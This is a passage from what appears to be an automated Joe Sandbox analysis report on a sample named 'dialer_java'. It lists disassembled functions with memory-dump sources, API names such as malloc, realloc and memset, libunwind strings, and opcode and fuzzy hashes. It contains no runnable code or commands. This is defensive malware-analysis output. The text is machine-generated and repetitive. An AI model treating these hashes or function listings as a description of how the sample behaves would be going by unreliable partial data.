                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_resume(cursor=%p)
                                  • API String ID: 1137233558-227906034
                                  • Opcode ID: ad86456c92fa133b36f51f89e8403052f5c7942e73ceb2515f9f788c2fc91f6d
                                  • Instruction ID: 650bfcb66fb765908a3420273d2b59f8ca6f3d596966c9b8c9816a91ed50d39a
                                  • Opcode Fuzzy Hash: ad86456c92fa133b36f51f89e8403052f5c7942e73ceb2515f9f788c2fc91f6d
                                  • Instruction Fuzzy Hash: E7017110E1D55641FB345716FA1427856D0DF56F80F0512B9C90ED73A1DE5DAD8DC305
                                  Function 00007FF695DC87F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_step(cursor=%p)
                                  • API String ID: 1137233558-3760164396
                                  • Opcode ID: acbbefe464539abcaef1fe244cec8c422293ae8429e0ab9e7db6b12012d7a983
                                  • Instruction ID: 0fef04e643ad4e4cef8116e6e688edb6247e84431c9cf695db9eb3629fd56546
                                  • Opcode Fuzzy Hash: acbbefe464539abcaef1fe244cec8c422293ae8429e0ab9e7db6b12012d7a983
                                  • Instruction Fuzzy Hash: D801AD00E0E29A41FB349722FA002B85AD0DF55F80F0462BACC0EE7791DE6DAD8DC309
                                  Function 00007FF695DC3ED0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: ExceptionRaisefflush
                                  • String ID: CCG $libunwind: _Unwind_RaiseException(ex_obj=%p)
                                  • API String ID: 3404444629-1152080672
                                  • Opcode ID: ce7a8e6c7a6e572c481f42ceb0385a3df82124a6507f1b87121b6176e540b98d
                                  • Instruction ID: 359a0a50000f9d23206b054c518e94e8536517825a100ef697903f77a809a519
                                  • Opcode Fuzzy Hash: ce7a8e6c7a6e572c481f42ceb0385a3df82124a6507f1b87121b6176e540b98d
                                  • Instruction Fuzzy Hash: 25F0A410A1869542FA39A765B5022F453B1EF85B91F006275ED4D83791EE2D9ACA8304
                                  Function 00007FF695DC2C20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: AddressHandleModuleProc
                                  • String ID: _localtime64_s$msvcrt.dll
                                  • API String ID: 1646373207-3474473506
                                  • Opcode ID: e6433b476ba74e81b9775fec21bde56a003506d6abc8a6f67e439d4aff4a0d78
                                  • Instruction ID: 1e233a1f7071b6acf2e095c40083394f7c6ed05e10f66ebfe81c19a2a308868a
                                  • Opcode Fuzzy Hash: e6433b476ba74e81b9775fec21bde56a003506d6abc8a6f67e439d4aff4a0d78
                                  • Instruction Fuzzy Hash: 02F05E20B0AA4290EE25CB02FD504B463E1EF45F81F4066B6DC4EC3364EE2CED8D9304
                                  Function 00007FF695DC2BB0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: AddressHandleModuleProc
                                  • String ID: _localtime64_s$msvcrt.dll
                                  • API String ID: 1646373207-3474473506
                                  • Opcode ID: 996eddf4707004b26ca684804fcf8aaff092c600e71e1cc29f878679b6fdd581
                                  • Instruction ID: f6a195325bd97742d89435d5f20a9533433f97197374b0474143ab9878d4729d
                                  • Opcode Fuzzy Hash: 996eddf4707004b26ca684804fcf8aaff092c600e71e1cc29f878679b6fdd581
                                  • Instruction Fuzzy Hash: 38F03A20B0AA4290EE25CB02FD504B463E1EF45F81F4066B6DC4EC3364EE2CA98D9304
                                  Function 00007FF695DE2710 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: AddressHandleModuleProc
                                  • String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
                                  • API String ID: 1646373207-706389432
                                  • Opcode ID: b448c299ad2c04bb2e5eec51baedb771711474971e5995f939cc9f046a9944f1
                                  • Instruction ID: 30bc495c1143231d98cfaa76b1c35cd7f6bfd73c283d379c14a8517026ecc316
                                  • Opcode Fuzzy Hash: b448c299ad2c04bb2e5eec51baedb771711474971e5995f939cc9f046a9944f1
                                  • Instruction Fuzzy Hash: 71E01224E1AA03C0EE659B11FC4013023E0EF44F04F8066F9C80E83360EF2CA98D8304
                                  Function 00007FF695DE2CD0 Relevance: 6.4, APIs: 5, Instructions: 141COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: CriticalLeaveSection$free
                                  • String ID:
                                  • API String ID: 2017658852-0
                                  • Opcode ID: 21f2af2da6d99c8440ba50e04c259726af40d8d037963cadd681417a98c49a5a
                                  • Instruction ID: 11739fa539764e48d65d125531c94c9dc041957ffff3a370061687bba4186097
                                  • Opcode Fuzzy Hash: 21f2af2da6d99c8440ba50e04c259726af40d8d037963cadd681417a98c49a5a
                                  • Instruction Fuzzy Hash: 9A518A31E18A0780FE348B05AA55375A2D1EF06F94F0826B5CA0D877A1DE7CEC8DC248
                                  Function 00007FF695DCDC20 Relevance: 6.4, APIs: 5, Instructions: 129COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: free$memcpy
                                  • String ID:
                                  • API String ID: 4107583993-0
                                  • Opcode ID: 8e1b853cacffe1525c6de4d4fc907dd5a3da612f1d84b0e28030ca1136726b77
                                  • Instruction ID: fa6b48658ce010ad6bba8e3da5cbe9dc53fd5c5a16fef791fe1683ef17ae00f9
                                  • Opcode Fuzzy Hash: 8e1b853cacffe1525c6de4d4fc907dd5a3da612f1d84b0e28030ca1136726b77
                                  • Instruction Fuzzy Hash: 09512DB3605B9586DA74CB15F9885AEB3B8F744B84F115235CB9E83B60EF38E495C300
                                  Function 00007FF695DCABE0 Relevance: 6.3, APIs: 5, Instructions: 53COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: free
                                  • String ID:
                                  • API String ID: 1294909896-0
                                  • Opcode ID: 77491b3431e31e0df476f0c4b973149adff1a1b304b4d0bc1a179ca6df4f626d
                                  • Instruction ID: b5f7582ed33f27816d7b3f339167fea6f9553b1d6a892af366e82e233b5617f1
                                  • Opcode Fuzzy Hash: 77491b3431e31e0df476f0c4b973149adff1a1b304b4d0bc1a179ca6df4f626d
                                  • Instruction Fuzzy Hash: 0911332AE0A68646ED799625E1901FD93E0EF44B80F481671DB5F86790DF2CEE8AC304
                                  Function 00007FF695DCD5C0 Relevance: 6.3, APIs: 4, Instructions: 273COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$memcpy
                                  • String ID:
                                  • API String ID: 3800483350-0
                                  • Opcode ID: 02b9ae5a013ee2f29f00789c869f89056a85886b2e4cff7aeeaac901525a1d51
                                  • Instruction ID: acdcdbf161c30544cc6cb4e6e6c4637006c00dd764dc36f3ce8984fbee7c6ae2
                                  • Opcode Fuzzy Hash: 02b9ae5a013ee2f29f00789c869f89056a85886b2e4cff7aeeaac901525a1d51
                                  • Instruction Fuzzy Hash: C0A1C762A0AB8645EE719B15E80027977D0EB45F90F485672CF8D47B91EF3CE98AC708
                                  Function 00007FF695DC64F0 Relevance: 6.2, APIs: 4, Instructions: 241COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: memset
                                  • String ID:
                                  • API String ID: 2221118986-0
                                  • Opcode ID: 06bcf27b9f9da240dc0868757c2916d576c3230e37a736bb9f8626e71eb8801a
                                  • Instruction ID: 5bd7d623ac8c3e60fbfe1b093095fdb455497322ba398021a951b48730000cfb
                                  • Opcode Fuzzy Hash: 06bcf27b9f9da240dc0868757c2916d576c3230e37a736bb9f8626e71eb8801a
                                  • Instruction Fuzzy Hash: 5C918F72A142428BEB348A2EF15476976E1EB24F94F14A275CB5AC7BC0DF3CE845CB04
                                  Function 00007FF695DE0F70 Relevance: 6.2, APIs: 4, Instructions: 231COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: memset
                                  • String ID:
                                  • API String ID: 2221118986-0
                                  • Opcode ID: 3c04a9d5fa0e69046c5dc2e7c457146978f8f163ab23e189bd4247a93fbb4af8
                                  • Instruction ID: 49dc3b0a44d0e3d572ee4a444882395749d3cfe5c5a5df9a019a6117bfd9091d
                                  • Opcode Fuzzy Hash: 3c04a9d5fa0e69046c5dc2e7c457146978f8f163ab23e189bd4247a93fbb4af8
                                  • Instruction Fuzzy Hash: A091B432F052868BF7358A9AD941779B6E1EB14F94F04A275CB5AC7781CE2CF88D8704
                                  Function 00007FF695DDF3D0 Relevance: 6.2, APIs: 4, Instructions: 186COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 1e285367feb4afe0847244d2031beab91f6261c59615f80f46d5ac3eaa156d84
                                  • Instruction ID: 5a2a15064667de3b857896eda5324440a84f8af7a63597d9790fd6551a499801
                                  • Opcode Fuzzy Hash: 1e285367feb4afe0847244d2031beab91f6261c59615f80f46d5ac3eaa156d84
                                  • Instruction Fuzzy Hash: 827162A6A05B4682DF388F16E54427963E1EB98FC0F149572CF8D87BA0DF2DD946C704
                                  Function 00007FF695DD97B0 Relevance: 6.2, APIs: 4, Instructions: 163COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 178bcdf490fc3efe4e1ec1d5bd69b4c8c4ebade7a4d419b1369cd77cbe23b087
                                  • Instruction ID: 78a27ad214eaf65d03a52453161b101ce4d6b03e511f9274f671a399acd2b8ea
                                  • Opcode Fuzzy Hash: 178bcdf490fc3efe4e1ec1d5bd69b4c8c4ebade7a4d419b1369cd77cbe23b087
                                  • Instruction Fuzzy Hash: 715191B2A05F8582DF398F16E45426D67A1EB98F80F049272CF8D47764DF3DD85A8204
                                  Function 00007FF695DD99D0 Relevance: 6.2, APIs: 4, Instructions: 156COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 9213ca56535c4578a33ced58ccc4a0381c131ebe365f39c6624de3ce32fe5848
                                  • Instruction ID: 7e09822fe86427bf8faed5e9615f9f500390496b44013124143ca4db0cc3e67c
                                  • Opcode Fuzzy Hash: 9213ca56535c4578a33ced58ccc4a0381c131ebe365f39c6624de3ce32fe5848
                                  • Instruction Fuzzy Hash: ED517FB3A05F8982DF298F16E454269B7A1EB98FC4F048172CF9E47764DF3DD84A8204
                                  Function 00007FF695DCE7E0 Relevance: 6.1, APIs: 4, Instructions: 143COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID:
                                  • API String ID: 2803490479-0
                                  • Opcode ID: 4e796562e045bc2085d3b63e2954ae181bebf3aa6fa207e791bf8cbf0b0f1a7d
                                  • Instruction ID: 1b10d1a99617772d041df1325af8ed5d201e7ec5624f086a2441eac73b3eedc9
                                  • Opcode Fuzzy Hash: 4e796562e045bc2085d3b63e2954ae181bebf3aa6fa207e791bf8cbf0b0f1a7d
                                  • Instruction Fuzzy Hash: F651B0B2A0AB4695EEB68B11E5402B837D4FB04F80F456671DF5C8B381DF38E96AD314
                                  Function 00007FF695DD0720 Relevance: 6.1, APIs: 4, Instructions: 135stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$reallocstrlen
                                  • String ID:
                                  • API String ID: 2374275640-0
                                  • Opcode ID: bbc9eb8fda263d5572ec69c747bc96ed4425b9f9bdd2f426fc37a50d399e2334
                                  • Instruction ID: 3ef38345c55f6746fce1c1f9bac0eccf75eb3f3ac60726f7577a8d63ebe782fb
                                  • Opcode Fuzzy Hash: bbc9eb8fda263d5572ec69c747bc96ed4425b9f9bdd2f426fc37a50d399e2334
                                  • Instruction Fuzzy Hash: EB414822605B4591EB349F22F4406A837E0EB44F84F1846B1DF8D4BB91EF38D9AAC344
                                  Function 00007FF695DE2F20 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 133COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: CriticalLeaveSectionfreememset
                                  • String ID:
                                  • API String ID: 1662925646-3916222277
                                  • Opcode ID: 0ec8e0e19579407a327e1592c23b44f66c2b945ff42066c7724425ab7031865f
                                  • Instruction ID: 3f9b52a4b842e86df0bb8b15b7492619e7f6271a13bb36a0abba0d19e3cd4d1b
                                  • Opcode Fuzzy Hash: 0ec8e0e19579407a327e1592c23b44f66c2b945ff42066c7724425ab7031865f
                                  • Instruction Fuzzy Hash: F041C262A0964686EE359F25A44017CB791EF45BA4F40A3B1CA6F937D1DE38FD8EC304
                                  Function 00007FF695DD8FC0 Relevance: 6.1, APIs: 4, Instructions: 131COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$mallocmemcpy
                                  • String ID:
                                  • API String ID: 1059646398-0
                                  • Opcode ID: 302b9d3f0cf64db1bf55221c519113ff95167a7d3676b02519fd1c4a4701ce77
                                  • Instruction ID: 3e2a2e6e2f4f97a0f12a8ec73c03432e327fbaca0ae1f9e51350d999b4da1d46
